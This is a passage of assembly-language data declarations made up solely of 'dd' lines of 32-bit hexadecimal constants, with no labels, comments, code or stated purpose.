		dd 3D268069h, 9C1460D3h, 0B90090EDh, 6E1EC5E6h,	9938B6FAh
		dd 3B728012h, 84D630ACh, 0A92E3A70h, 0B24E94B0h, 0DC0090A7h
		dd 1969D5EAh, 1065EFBh,	31FD27A9h, 0C0C88AD9h, 7B715955h
		dd 5C0032B8h, 0CEF244EBh, 0C0C4B98Ch, 5AFC94A2h, 0BE0002A9h
		dd 0B6195D0Ch, 3E550171h, 0FD01E760h, 40C026F9h, 4620E867h
		dd 0E3C74903h, 0C8B4F50Ch, 1EBB91Bh, 83520243h,	0D0D4B23Eh
		dd 2C003051h, 2B58F50Ah, 0CBD137h, 152277BAh, 1963BD5h
		dd 0E0262C1Ch, 600D2381h, 61D4D083h, 0E6D60ACEh, 1A8D750h
		dd 2CC8CA3Fh, 879F40C5h, 947028DFh, 0EB4EF100h,	935F70D0h
		dd 617900A9h, 58BB2E38h, 363B8460h, 0CE0180DAh,	0E2D6563Dh
		dd 3AD33D09h, 0A8DF50F0h, 189A200Eh, 31C12200h,	4EA692F8h
		dd 0A0595054h, 0D66B00CDh, 0B5A4D249h, 5B03BB04h, 0DAEC2D9Bh
		dd 0E1ADB074h, 0C7B058Eh, 0BB38CC69h, 3E2FC900h, 3B750Bh
		dd 0F0444C51h, 63CAF9A9h, 6C009274h, 0D1D0E613h, 2CFDC257h
		dd 36674Fh, 2118A3AAh, 6A303807h, 515C50D9h, 197E00EAh
		dd 0F227DC71h, 0F72D066Eh, 2CD87Ah, 38D13FA2h, 0FC25904h
		dd 0F322D8E9h, 0BC9FE20Eh, 10FFC0DDh, 39D0D197h, 0BB00C37Dh
		dd 0B2A298B3h, 760060CCh, 0D3313053h, 0FC8588h,	6CE2233Ah
		dd 4602BE57h, 6FF8D490h, 0FFD72100h, 0D12831BDh, 73D50180h
		dd 0F9F003A3h, 44CEFC20h, 0C7ABEB1Eh, 7A10B0BCh, 720A1AAEh
		dd 8C9F01AAh, 0E23D6F1h, 83806017h, 0C6003D7Bh,	4A9DB1Dh
		dd 3DC5558h, 999003E5h,	2588B1EBh, 16F467C7h, 0CD6E5A07h
		dd 0B0802A5Fh, 0A6DD8Bh, 48FDB50Dh, 4A8EE52Ch, 820BA0Fh
		dd 8BD2A0E6h, 1603AB28h, 0D0E00Eh, 1EB8F224h, 0D52DB51Dh
		dd 6D5442h, 0C7D441A9h,	0F2074361h, 0E5BDA752h,	1F1ED030h
		dd 24AD0095h, 9E18C85Eh, 97013477h, 7D42C2A9h, 4DECBA6Eh
		dd 3C8D00B3h, 8B085CE0h, 640F9F6Ah, 1E4A99F6h, 0E5851380h
		dd 3A03676h, 0C28E6945h, 55C86448h, 9500E4C6h, 209CE989h
		dd 72601Ah, 0F14CDC41h,	35D665FAh, 48D83400h, 51B0703Ah
		dd 7C4D0011h, 139A5450h, 0EC00826Fh, 6BD15B5Dh,	70EE16h
		dd 43C0F7FFh, 0EB2287E3h, 0C8ED973Fh, 2B1F07A0h, 93208CA6h
		dd 0BA662Ah, 51E07208h,	0D031C9AEh, 89733F00h, 8D18465Ah
		dd 9AB8059Ch, 3B1564h, 331D2EA2h, 6914C2B7h, 24B61AB3h
		dd 6E04A03Ah, 102CF87Bh, 212840h, 0B1B9424Dh, 0E5FE403h
		dd 6E018173h, 0AB78EA56h, 0F20EBCCh, 836D008Bh,	59FF36AEh
		dd 6E0080A9h, 941ED9B0h, 93BFA2Ch, 44BDCEEDh, 0BE7E3098h
		dd 200E1601h, 75F886DAh, 0F76F6C0h, 870B621Fh, 97F012E0h
		dd 0DE07AA1Bh, 185C613Ch, 0CE0ADC0h, 734700B2h,	3988C25Dh
		dd 7E001C8Eh, 421F3EDDh, 90CF0E82h, 0F346031Ch,	189FC029h
		dd 663EC094h, 303B5CEDh, 0CCDF80EAh, 28F7C236h,	0B60B0584h
		dd 80E3B515h, 0CF61E235h, 34862A0Fh, 20CA1D9h, 0A6F487FAh
		dd 75AD0073h, 4C24ECBDh, 0AB00123Dh, 3AB26766h,	98DDCCh
		dd 29E90215h, 4E42CD9Fh, 43936B03h, 8F4B62ADh, 0F637B5B2h
		dd 0D7110042h, 0A694D88Dh, 44D2F316h, 0CC3B1000h, 0E5D4049h
		dd 14859065h, 0E5FC8480h, 58E80BCBh, 82DF5C00h,	3C14A0Ah
		dd 379E00B4h, 60981CB5h, 1A3CFB6Dh, 7F1D8036h, 5529AE1Bh
		dd 15940017h, 26109E19h, 0FA00A769h, 0BDD25E42h, 362F6FDh
		dd 6317C7A6h, 6F81BCD4h, 64E6304Eh, 37AD5900h, 605098E0h
		dd 3C3B0789h, 5354A3D9h, 7BB886F8h, 9E710BF2h, 777E1100h
		dd 4C986685h, 5C620079h, 6BD3BF4h, 0ED004A50h, 8F491D88h
		dd 179DF624h, 0DF72CBh,	95AD898Dh, 0E55C4B07h, 82773ECFh
		dd 0B1331361h, 7E046816h, 68F1006Ch, 71471044h,	15001BD6h
		dd 9282A864h, 2EE488h, 1AC0FF6Ah, 0AD129EB2h, 87E0AB00h
		dd 0FBF709DCh, 827C007Dh, 0A2AAA4AEh, 0A35081D6h, 65206DE8h
		dd 6F3E1D74h, 0C30C6531h, 5700CB12h, 0F099CA80h, 364E6Ah
		dd 31B3E0F6h, 61530940h, 79703903h, 0C0DEB5E4h,	964565CEh
		dd 1F9200A4h, 6AE519CAh, 8AC53F00h, 78BA02AAh, 0F7AE86Dh
		dd 6F901795h, 0A56B0F40h, 68F48921h, 480E810Bh,	0A487805Dh
		dd 0F1514B5Bh, 1DF0D4h,	2AB12E25h, 686596E5h, 0D8F9F00h
		dd 0EF90F122h, 0D1AF00DFh, 711AD3DAh, 6D00FD9Dh, 60ECB232h
		dd 120708Bh, 984A943Ch,	0C3EE2F42h, 19009EC3h, 81F17CF0h
		dd 2D57AD1h, 52DCF205h,	0E850BF43h, 0BC0E3902h,	0A326AF17h
		dd 0A8757C90h, 3F1AB041h, 0BA80A538h, 0F26AFEB2h, 810302FBh
		dd 67C3EB2Ah, 0B06498C7h, 0A7079DEh, 8F0608CFh,	47EA0068h
		dd 6707CE46h, 0FC6D6300h, 1B18907Bh, 0B830009Ah, 0A661C12Fh
		dd 4372E72Ah, 0A33F2603h, 0C09CD44Bh, 0FA21983h, 0F725CB4Fh
		dd 0DC28E780h, 0D46F17D0h, 0E42780B8h, 1D3C6443h, 0FA6AFB9Ch
		dd 9336F400h, 1E830C0Bh, 61D03207h, 8F757014h, 9AC0081Eh
		dd 8250A5F5h, 24711FA7h, 0E3D900F7h, 0AFE577A2h, 0BB96E71Ch
		dd 916E4F00h, 393C9BDh,	447F27AEh, 0A80050E8h, 661AA0CAh
		dd 0E0488EBCh, 644C1B1Bh
		dd 84C8206Eh, 4F00BD20h, 0B7A7FC38h, 62D7ECEh, 0D2F2D830h
		dd 0AA18C03Ch, 4008433Bh, 2ECE0CCAh, 0F928E2B4h, 740ED028h
		dd 4C994509h, 508BD9h, 27234878h, 0DE9E00E3h, 9411D84Ah
		dd 70FFE70h, 1BEA79h, 91E69BB4h, 0C250600Ch, 34E138F2h
		dd 2C005CF6h, 0EC567115h, 0C5246h, 474E956Bh, 0FE387067h
		dd 6DB2BC00h, 766E730Ah, 577BF5h, 67CD5B97h, 467745CFh
		dd 15F8740Fh, 0A9B8331h, 1394A871h, 56291462h, 96078639h
		dd 0C0434E92h, 46E779CEh, 247490EEh, 0A185D200h, 4518A936h
		dd 315B0E9Bh, 5CC0FF05h, 0F0CE4EF3h, 0D1586000h, 0D9AC9904h
		dd 2D9A3DA2h, 2FD75F5h,	3B98E553h, 90A0AB0Ah, 0BC5EE486h
		dd 265F0400h, 6E3F16DEh, 0E6FD158Dh, 8100B051h,	0A23712C3h
		dd 7113C4B8h, 20000F62h, 45929746h, 26C94CAh, 3E293C4Fh
		dd 0CD8BD0A0h, 5E60440Bh, 0A240B210h, 68660CA9h, 130D5D8h
		dd 2CB36E16h, 0CE381D00h, 12EF7A42h, 0DE2418h, 3786E904h
		dd 5200693Ch, 4DE274EAh, 3064BB47h, 0BD6032B6h,	0ACE8D8C0h
		dd 0F7A03490h, 8A18CAA8h, 5038414Bh, 52060C3Dh,	0F0F1DB4Eh
		dd 9DFBF3Ah, 0C095E7D4h, 80D64Ch, 76C79D8Ch, 0BB7FBD9Bh
		dd 0CDE5C404h, 6BC03AF8h, 1CBFC14Dh, 49AE5785h,	4B80252Ah
		dd 0B1BC5FE7h, 0AF3E3A12h, 7A4BDA00h, 984F32BBh, 0B8FF0124h
		dd 0D08638Bh, 92802F19h, 1A576D31h, 112F03D1h, 0E3060415h
		dd 10692Bh, 1E44FE99h, 8A225ADDh, 305EEB00h, 0D3C58EF7h
		dd 392FFAE3h, 0C40CF1BFh, 0F628B940h, 779C8340h, 58854CA7h
		dd 3949352Ch, 41DEAE1Dh, 6D103A88h, 7747F4B5h, 81942300h
		dd 0FA8C371Dh, 9397009Bh, 7CB013E0h, 0DB077F15h, 7698F5F2h
		dd 0C0797350h, 25CF015Eh, 9DA6463Ch, 0D1D0F728h, 8200ADFBh
		dd 2C857E47h, 0D423C4h,	39904486h, 0FA56313Eh, 994F0800h
		dd 5BC6982Bh, 0BD100BBh, 929C8E61h, 0A400D91Ah,	71F807C9h
		dd 605D2Dh, 984F053Eh, 0CCAC729Eh, 7F3C4D01h, 8DADBF30h
		dd 73390C60h, 0EB7100ECh, 92F374D9h, 0A4A0E447h, 7F001EBDh
		dd 4451CD62h, 35E221h, 34D5EF19h, 0DFA03A0Ah, 0DA3DC8E9h
		dd 16687117h, 0B6C16704h, 0BF8D76C0h, 426B02Ch,	244C463Ah
		dd 386C8188h, 1A78A63Eh, 0C2754400h, 5F46A0h, 278EF41Ch
		dd 7FA1DFF9h, 808D213Ah, 2B26A24Bh, 0FC7391h, 6A5E2861h
		dd 6553797Eh, 0C4008E78h, 0DBA0E198h, 1C59505Dh, 0C0AFD57Ch
		dd 9425A9C3h, 1B012460h, 99A3DB10h, 462006E3h, 0D18F0002h
		dd 0D8C83674h, 0BF24CADDh, 0A1002042h, 0F6AE7E9Bh, 3972B2h
		dd 0EA824A7Ch, 0CDD2CFAh, 96A97100h, 6867DB44h,	1A2400ADh
		dd 988F6640h, 2700DCF7h, 83616F23h, 1441D67Fh, 0FCD9C27Ch
		dd 0B9EC13h, 0C8E8A15Dh, 0D0003A56h, 0D91408EAh, 0C61766h
		dd 4C218B9Ah, 0A843EC46h, 2B865E00h, 0CC8D87B8h, 0AF1D3CCFh
		dd 0FEE0D0h, 0A9CBB80h,	146B4C8Ch, 575E000h, 1CD160FCh
		dd 2B760086h, 0BA28EDF7h, 0C77BA8D2h, 0C3BDDA00h, 1EE511A6h
		dd 20310049h, 0A2E47F23h, 85E4F28Fh, 88841A0Eh,	936CA7FDh
		dd 4CCE07E0h, 0B4AC1EE5h, 518A801Bh, 0C4F3729Bh, 7A00E475h
		dd 64CDC066h, 388790Dh,	516DAAD0h, 0C2E0DF58h, 0E1011E9Bh
		dd 0C4BE6B3Ah, 0E08024E2h, 0CF6C9E75h, 20F76FD8h, 83063587h
		dd 0AEEAE0CAh, 0F0590058h, 0ABF8A762h, 0FF0336F1h, 85804EB9h
		dd 0A3600074h, 2DF4C948h, 0CB4D4249h, 70FB0000h, 50EB2B07h
		dd 0F040025Bh, 0DBCD3963h, 0FC31B4A0h, 0EC00ED10h, 0EBA2323Ch
		dd 4633FAh, 25D2C46Ch, 0BFE0B8D4h, 3215DE00h, 0B360A29Ch
		dd 0F02B00CFh, 0C8EB1037h, 0F979F1C4h, 8C002AB8h, 277AE551h
		dd 3879BB3Dh, 0DC81C9E1h, 1C76569Fh, 0A6998A4Bh, 0A80FCAAh
		dd 7B3F52B6h, 79087F82h, 0BCB70087h, 5EC20D79h,	3D18549Ah
		dd 1A786BEDh, 0FA2B082Ah, 9809B0FBh, 5A542009h,	0E9AC9EAAh
		dd 0C57EE4h, 0C0F219D9h, 1F52E50Ch, 46BB8100h, 2BAE20E3h
		dd 9885000Eh, 5AF76BA3h, 4D00FFD5h, 4B91BA9Ch, 1B9171Dh
		dd 0CDD90106h, 0E813329Fh, 3A1EE8F8h, 0D2806C40h, 6A842409h
		dd 0C1810029h, 0F105EFB9h, 0E9769E5Eh, 0E77B7E00h, 97DD67D0h
		dd 982A0F08h, 3EE0C08Dh, 7243D3F6h, 0EF298C00h,	3FEC374Dh
		dd 523D0030h, 0E3F4E5F0h, 0E2620FFh, 7E02BDD9h,	80B2CD24h
		dd 0FD05A79Ch, 89B80032h, 10E99BAh, 600B131h, 77190FE4h
		dd 0EDEA75Dh, 448A0B6Dh, 0C4023243h, 0FB741590h, 0EE8FB80Eh
		dd 0E7C2E30Eh, 701DA9E0h, 0F13820h, 394B2938h, 9FF23483h
		dd 2BF88F14h, 69E900FAh, 574EACA2h, 45473B84h, 0FE8613h
		dd 4052C2B0h, 96004CEFh, 37A5DF0h, 853FEAh, 0A92B0C48h
		dd 8AE3ADE6h, 44D78105h, 0AC0705BFh, 0BC708E78h, 109AF61h
		dd 0C2583B9h, 8003A769h, 8B09D20h, 39FE0ADh, 7B49DD75h
		dd 0A4A1952Ch, 0EC51DC5Fh, 86201C02h, 80C49AA1h, 0FB7FB0D2h
		dd 1490CDh, 202156AFh, 7A3C6E19h, 18BF5A30h, 6C6892h, 1FD0DF5Ch
		dd 0A141B4C0h, 9272383Fh, 0FA1E9DF6h, 0B1001E2Ch, 2CF135DBh
		dd 169072E2h, 384D93h, 6F3FBF04h, 5D7E3764h, 808DFD3Eh
		dd 3421D7F8h, 3D01ACAEh, 0C280519Ch, 0AF1FE595h, 8000144Ah
		dd 0BD456596h, 0EA0B985Eh, 1DC0087h, 3FCEC8AEh,	5B007563h
		dd 0E047C629h, 2AA1EFDh, 6C4BA0FCh, 3C4038ABh, 9B00A3F7h
		dd 993F6A4h, 0D8FD84h, 14C0C135h, 0CBBE65F2h, 4B81EE07h
		dd 7600E052h, 0B93926Ah, 72789BF3h, 41008A0h, 3900999Ah
		dd 0FB0E19C6h, 7EFAAA8Fh, 0D7A60013h, 0A84B7B3Ch, 0E80764BEh
		dd 0C20F2808h, 0A6A33050h, 51F4023Ah, 0E4702389h, 0C463FFC0h
		dd 7B4E4500h, 0E7AD2471h, 805100D1h, 338E96BDh,	0B01B12BEh
		dd 0E181545Eh, 6DDC651Ah, 623A33FDh, 0B4A1F508h, 643931AFh
		dd 3C07685Ch, 747CE8DDh, 0A3897AF3h, 0BBC8A0F4h, 1468BA23h
		dd 2CAF3231h, 33C0779h,	40E4BE2Dh, 529EFD0Ch, 0B1654D00h
		dd 0F7905F27h, 9C943BA5h, 0D4A7BF07h, 0F9BBD077h, 0FB2E89E9h
		dd 7507942Dh, 384724BDh, 0A4D0E005h, 1E9C23B2h,	1EE13A98h
		dd 80B147Dh, 0FC9A6100h, 0EE74D4ACh, 0BBB67A0Ah, 1588501Dh
		dd 64C4055h, 0D30CEC2Dh, 68C8AC03h, 0DF833AC2h,	0E054CB0Fh
		dd 214922A0h, 5A018D2Dh, 87E8673Fh, 1C201118h, 6BF21797h
		dd 31A0019Fh, 0FF9D0970h, 0E964190h, 0A8671C00h, 51BE5776h
		dd 0B7D7E90h, 6FF1EF66h, 68624E8Eh, 2DE04F38h, 0A1E07C09h
		dd 2D1F6603h, 0D8882A22h, 5EA459Ch, 0C8FCE332h,	0F065C781h
		dd 0A4A91C4Ch, 6DAD3400h, 2F251043h, 983000F7h,	0B49718E0h
		dd 5C009E01h, 59BADB39h, 2AA92F9Bh, 0A0E1E3h, 0A02847D1h
		dd 5475A6B9h, 0B09B266h, 3FF10E21h, 6803B28h, 0B68C29E9h
		dd 80133327h, 72D5CA5h,	0A659C8B9h, 3F283EC1h, 85718EF8h
		dd 28F69E83h, 0D2C3D0AAh, 1BA20373h, 5219044Fh,	0E4205000h
		dd 6611DBA1h, 0F0574835h, 0EF3B0971h, 4420E717h, 43235679h
		dd 44D6201h, 3FD5A63h, 218072D1h, 19234993h, 4A7C61B3h
		dd 0B82C9600h, 1F0692C2h, 0E31535E4h, 5AC8D060h, 6F1FC187h
		dd 0D486B5E2h, 1820832Dh, 0B93926DCh, 40A0E5A8h, 1213F033h
		dd 3200655Eh, 7BBBD30Fh, 0C2370A1h, 491D1738h, 6D133428h
		dd 2B00C659h, 0ACB9D6FCh, 274E0014h, 9F6858E1h,	600C3805h
		dd 48301065h, 0B780025h, 34663DC4h, 0AA0172BFh,	0C92C9E15h
		dd 0DBE4064Bh
		dd 4DE70071h, 3BC774FCh, 0A0012D76h, 0F3454EE5h, 0F7218104h
		dd 75CCCCh, 0D033F7AFh,	0BDE1C43Dh, 6DDDD900h, 0CC1C5D88h
		dd 9B910240h, 744FE283h, 760648C0h, 0F23AE8F9h,	0F1B5C3A1h
		dd 0CAFF85Bh, 0ACC53Eh,	0A6BB6C7Ch, 7C509A4Ch, 85FF03B0h
		dd 0C5A4A725h, 0EECC2801h, 0D6590AC6h, 21C2FE4h, 0E38EB6DEh
		dd 2EE08BE4h, 8C009D0Eh, 0C09197BDh, 70D7FAF3h,	5740042h
		dd 26347CF6h, 0BB006BFFh, 11F1A110h, 0E55DCFh, 0C661D6F7h
		dd 0AA79B3D8h, 6C72CCF4h, 706E3800h, 8C5360E3h,	499C039Bh
		dd 8DF7E9BFh, 0B7695F8h, 12897502h, 807D8CB4h, 0C51B0C8Ch
		dd 9450E9FDh, 0E13BE4h,	0BB66B09Eh, 6080C230h, 0D48E2A50h
		dd 0EE7FBC0Bh, 0F3B58072h, 9342C3h, 0E7E473F4h,	6D16A90Ah
		dd 95B3CC00h, 0B2D64AF5h, 39C50057h, 20C3D1CBh,	31003DAAh
		dd 3A0C866Ah, 6334B389h, 0C68A0801h, 0A9962000h, 824B376Ah
		dd 0F08E1ECFh, 95CAC01Dh, 5F2DF8A6h, 0B2BD8D00h, 2E3E4FEEh
		dd 859100F3h, 2AE195CFh, 2303AD1Dh, 0CE60F734h,	2E180F7Dh
		dd 6DA0264Eh, 0C0F5DA20h, 630052DEh, 0E656445h,	0D18E0CDBh
		dd 0A008DC48h, 6D0321C0h, 46B64h, 0E075DADEh, 0A05BAC76h
		dd 0D11D80CDh, 803AE091h, 0CDB6AE0h, 70448CD2h,	6AD8077Fh
		dd 0E0829BDCh, 23ACCAD9h, 0C3ABEA01h, 26977C0Bh, 0D3040F1h
		dd 69AE60D5h, 9187FE8Ah, 61142E01h, 628CA529h, 219622D1h
		dd 0AA7604E3h, 182980ECh, 0CD28EB96h, 7D0A808Eh, 2C48992Bh
		dd 780D511h, 9C2E9288h,	1E1B208Ch, 884F7800h, 0A2A93B18h
		dd 44980014h, 419F566Dh, 321DC586h, 26CFDAF7h, 5D172022h
		dd 2028E7Dh, 7BF4CE66h,	8E4089BFh, 0B7002037h, 0FFD7CD32h
		dd 3C8644E5h, 0EA004EF9h, 84A836Ah, 5F1D8B09h, 0FBC052D2h
		dd 0DAD59015h, 0F74500A7h, 0F0EFFD11h, 1F009F38h, 0DC021392h
		dd 0B0F83142h, 9D790E18h, 16E0F1C4h, 95F30522h,	7CECEAB0h
		dd 8DD7B500h, 0AA57FC68h, 0E44901B4h, 0B638E8E3h, 0B21EECA2h
		dd 3D6DF500h, 0B785D375h, 80A03B3Bh, 710A7387h,	50FEE760h
		dd 0C487A464h, 3B210807h, 70409899h, 343E2B6h, 3EEF4D94h
		dd 9C9077A8h, 4F3D36E1h, 71270793h, 0E240EE44h,	18870510h
		dd 11634374h, 0EFF82818h, 9F18EA78h, 9E1865BCh,	0D86A007Dh
		dd 54E7340Ch, 0B080702Ah, 0D1D0E92h, 4F606510h,	0BB4AA526h
		dd 516B6930h, 0C2C1E9h,	5239EE37h, 535A1170h, 12780CF6h
		dd 70068A31h, 3180685Bh, 4B0EAB55h, 9A0EBE81h, 0C0831987h
		dd 6232B478h, 7F3B0CADh, 2199C78Fh, 381E7137h, 0A5E16F83h
		dd 0D9A4C00h, 3C098CC9h, 0BD00DD9Fh, 5A100EFEh,	30D0E9FAh
		dd 663C1184h, 8D397C31h, 2001FF73h, 0FD790504h,	56D4814Fh
		dd 0ACEA189Bh, 0D18049EFh, 0CE18F9C3h, 88198B9Ah, 3E5321D4h
		dd 840A1173h, 1154CD59h, 8505C1E0h, 2180C0C5h, 0B55EE5DEh
		dd 0A7316086h, 12C7A10Fh, 604236D0h, 0FA72B111h, 9000F7C5h
		dd 0F954C428h, 509326A6h, 3371E03Ah, 0C1D16956h, 0E15B703Ch
		dd 0E5578C11h, 7C2894F4h, 625148Fh, 0C72254B8h,	3B69C463h
		dd 8039155Bh, 5C0088E0h, 24AD5369h, 1700BDC7h, 0CF7BAF95h
		dd 0ADDA5A6h, 0B38D4AAEh, 596F1BA8h, 142A26C2h,	0DF498918h
		dd 9F5701C8h, 0EA59CFDh, 76E4D8BFh, 287C6E0Fh, 8BE70160h
		dd 804921ECh, 1E00A4C3h, 0F91B80ACh, 0D02380Ch,	0EBBFA0E8h
		dd 0FF5A5300h, 0E93B2D06h, 1079E49Ch, 780CFA5Fh, 5B1C212h
		dd 72213803h, 73903B4h,	605A618Fh, 0D68DB1F0h, 0ACB719C0h
		dd 5DD3470h, 9C433DF5h,	3788630Fh, 8E3E23A8h, 0BAFC5A00h
		dd 0A9CCC638h, 9FE10307h, 0BECDD486h, 22547877h, 0CB0B1784h
		dd 0D87EC5h, 47B172D5h,	19FEE267h, 0E802FB9Fh, 81BDD9D2h
		dd 0D9C9E31h, 0C824AC86h, 7A0388D5h, 2A0B6870h,	8140C4EBh
		dd 0C8BCB38Dh, 41F7191h, 0BE5D229Eh, 9052C183h,	98FED23h
		dd 82B3EC4Dh, 0A85A4403h, 4A27D105h, 0FC4FF25Ch, 5B2B0020h
		dd 0DD5A1984h, 116B4D20h, 6F102459h, 3F5FB10Dh,	3B314118h
		dd 0C04B219Fh, 0FCB36679h, 2175BCF3h, 0DC53A400h, 155AF45h
		dd 577705C9h, 23AD4225h, 610041F4h, 2886D12Ch, 18FE39E8h
		dd 70BAD0B9h, 762E91C2h, 990788FCh, 9E0337Fh, 0A4C4C885h
		dd 3F711A4Ch, 0B487C9F8h, 30A24133h, 1E6998F0h,	0FFA3B1h
		dd 32A19392h, 0EF402F5Ah, 0FA97E80Eh, 0A36FC1B2h, 24223DC3h
		dd 3CAAF404h, 2100C5B1h, 22E321B0h, 61841440h, 34B02444h
		dd 895A5B8Ch, 1E70EDh, 2CA5A826h, 0EB7503E7h, 0A1F3B0Dh
		dd 1C249991h, 8F940F27h, 5420C2A6h, 79622977h, 99C5193Ah
		dd 0F1591EA0h, 71D81F10h, 9AE1250Fh, 0A176809Bh, 99919CF7h
		dd 18450ECCh, 208BD163h, 0EA361015h, 0AEC00180h, 16D34C42h
		dd 6F99024h, 0F1F85F83h, 528E97Ch, 62001837h, 0F69ABA76h
		dd 0F4C60CE7h, 82E09A8Fh, 78C9084h, 27D4D299h, 3EB2E090h
		dd 3FE4E37Ch, 30DBB70Ah, 3B88D4B1h, 9B5A895Fh, 857CC99h
		dd 67D30705h, 434C19C1h, 71101826h, 0A8858C72h,	0C0BC5FCAh
		dd 35547D77h, 2413D797h, 0F472EAE7h, 9E5B0370h,	0B81A1100h
		dd 5AA9FA85h, 42DB0034h, 0D5538C0Fh, 3F07EC79h,	2274DAD6h
		dd 8F64F46Ah, 68C4EB28h, 0F0C81143h, 886643Dh, 0FE28C880h
		dd 6C714D03h, 0F1BE6808h, 62A852h, 3DDADF01h, 65DBD58Ch
		dd 416EE518h, 10C7A770h, 1CE8A277h, 0C19B7D14h,	19342C55h
		dd 20D4550Fh, 0FC864C20h, 75C8DD00h, 0DF7E802h,	0D8D41DE4h
		dd 0C7E3859Bh, 408C44B9h, 26545155h, 5F01EE16h,	0D12A59AAh
		dd 5A8814D3h, 0E89AD015h, 30034C6Ch, 0FF0EA40Bh, 7CBCB0C1h
		dd 709001E5h, 9F0A3471h, 0BD20C03Ah, 1F06EB02h,	4A6E8A3Ch
		dd 9FC5C01Ch, 0DF6B0639h, 0E9196A8Ch, 99595B30h, 383B9E85h
		dd 0E700B41Ch, 2F88DFA4h, 49F4D135h, 8B4E7E3Ch,	0B81822EFh
		dd 0EE7F5A24h, 3580334h, 0B9E9B840h, 26FABB8h, 92CFD115h
		dd 0EC43B4h, 18FEC607h,	533117B0h, 0F3002809h, 0B671DAB1h
		dd 0E50F93F7h, 20616E95h, 82E806BFh, 0AB08067h,	0A535FE00h
		dd 629B77B9h, 46372A18h, 76E294h, 2BB2BB4Ch, 0EBECDD53h
		dd 100A69D6h, 3740F87Ah, 1B5BBF64h, 81771FF0h, 8C88DE4h
		dd 0B40281BCh, 0D10F8D2Fh, 9C156097h, 73A00024h, 0B6B00A76h
		dd 38241F47h, 0DD001990h, 0FF18D38Bh, 4C914C41h, 51A11A9Dh
		dd 5200F8CCh, 0C36A9B25h, 25694A85h, 0C100EA1h,	0DC915C6Fh
		dd 39072200h, 9A12BAh, 72D4F84Bh, 0B573D3ACh, 0F405ACA1h
		dd 0A4061ED2h, 5E5271D6h, 84C4AAC9h, 30537AE4h,	35F34FF4h
		dd 910B7C70h, 10A8696Bh, 0E7A81A0h, 0A9CECDD2h,	0C58B7380h
		dd 0F108A269h, 2C2FA86Eh, 2C0E40B0h, 71C68A3Ah,	696B80h
		dd 4EC707EFh, 0EBA40CBDh, 0B2228700h, 0A21877D2h, 0AAC10972h
		dd 64802561h, 0EFED3C9Ah, 0A2E8125Ch, 52D2116Eh, 946460A4h
		dd 532C200h, 9A4ABA8h, 91421508h, 17029864h, 0E690D261h
		dd 6EE5B780h, 549A29DCh, 61C0CEF2h, 0AA772A97h,	3D1004Bh
		dd 0F3DF4FD8h, 0D2013473h, 0F06DB2E8h, 182426B5h, 8F976C9h
		dd 665571E4h, 90081880h, 0CD23F0h, 36E5DB28h, 1D346578h
		dd 7911B8B1h, 0FDC46C00h, 7B7A290Ah, 3D0B463Bh,	64EF827Dh
		dd 0A6161922h, 0E10DD0h, 5BE84605h, 0A909EC1Bh,	52F98604h
		dd 80CCB5C7h, 8FFE0705h, 0D50B926Ah, 0A8840603h, 9600E1D3h
		dd 62F4F735h, 18684DF1h
		dd 99E5B1A1h, 1C949084h, 0BDFA58h, 1E242ABCh, 60070E03h
		dd 3F80E117h, 2680441Fh, 86EBDA3Bh, 581252CAh, 84437300h
		dd 0E260F41Bh, 0AE3FC502h, 29BADDFh, 68697286h,	0F4911078h
		dd 0C731075Ch, 805701C1h, 63C20426h, 0CE7D4816h, 0B7F45829h
		dd 582976A0h, 86C204B1h, 70C64A74h, 8E8F321h, 0BCAA633Eh
		dd 11844h, 3242B1E6h, 0FD698015h, 0BA6A3506h, 63202336h
		dd 0F04A60B8h, 30B4A5A4h, 6D89BD80h, 0A8B9CC4h,	0C931713Ah
		dd 3B159184h, 64040C54h, 49E31837h, 0C808CE2h, 5888BEACh
		dd 42ABCB00h, 0E2259F82h, 1112019Ch, 79BA37C0h,	3FD47349h
		dd 2899CC1Ah, 0BC24905Ah, 4F4048E9h, 1C2AEA8h, 96C4E5E0h
		dd 0F26C3ADBh, 889F90A4h, 8D03FB04h, 184BE3F6h,	71AFD0D4h
		dd 1A38B19Ah, 6C84694Ch, 9D125FF8h, 7C1090D6h, 0C0B13Dh
		dd 864D03C2h, 0B8A21E4Ah, 7728FC8Dh, 0D9560030h, 8EB8A9Bh
		dd 54A825E0h, 7280CC91h, 0D24F009Ch, 7A8E9E5Eh,	131B8111h
		dd 7D95E821h, 28F02577h, 0F4B09C8Bh, 5227BD2Eh,	0EECFC7Dh
		dd 90C0FE04h, 97AC9894h, 7811B426h, 0C3EAE9C4h,	23B162DAh
		dd 69E993D5h, 3D88CC2Ch, 0F20156B2h, 6FF8CB2Ch,	0D60020F9h
		dd 9FDB88h, 4166AFF7h, 0DC59C7F5h, 2815612Eh, 7E21B08h
		dd 0EB9930FDh, 77801CA2h, 0E8690048h, 0F83BCC00h, 1672A764h
		dd 2E02070Fh, 7BD67632h, 8DD825h, 6F348818h, 92035742h
		dd 8CF67E3Ah, 5C9AB80Ah, 60F20BB9h, 8800B1CDh, 9EE4BB31h
		dd 89BFA502h, 5BE7268Ah, 85B00768h, 5F70F01Eh, 36FAFBC3h
		dd 86CDAF0Ah, 6A13ECEFh, 644328D0h, 3EA70209h, 0FE322370h
		dd 0A0901F62h, 0DB0372BEh, 73891CCDh, 1226007Dh, 65DA319Dh
		dd 1492E477h, 0C0EBE00Bh, 0B9AC90A1h, 383F7E5Bh, 0C1A677B8h
		dd 21C28844h, 28E909BAh, 0A0A04C0Dh, 194408B4h,	0D063F6F3h
		dd 0EDFC10D4h, 786800F7h, 0BA5B9DD9h, 5D02A6DBh, 24B106B3h
		dd 518AC21Fh, 407B9C10h, 7C0C5885h, 4901284Ah, 2C87DE61h
		dd 7988E2CAh, 0F2001147h, 0D7A4FF1h, 427300E1h,	2375541h
		dd 0AE5C53C9h, 34199314h, 8021D8E8h, 9D105433h,	0CED82E9h
		dd 1F8C9861h, 71B960DAh, 72255737h, 0C78074B1h,	691A3332h
		dd 2527EC59h, 8003E716h, 0B3C43DB8h, 9982004Ch,	3694C5B9h
		dd 87030392h, 2B93052Eh, 5FB05000h, 4E1C07Ch, 990E6EFFh
		dd 20444E71h, 5B49D359h, 2EF8544Bh, 0B5021E1Ah,	65667C2Bh
		dd 0E47B60A0h, 9D313C13h, 9792C8E0h, 0E0A4A814h, 6CCFE13h
		dd 26B1AA00h, 1775534h,	7843D8C4h, 0FC6E5470h, 0CD568E85h
		dd 0FA370038h, 71D2E09Ah, 267C2Fh, 173D83Bh, 650B626Ah
		dd 21002891h, 8A965F67h, 48BE4A83h, 78806B48h, 0DE364544h
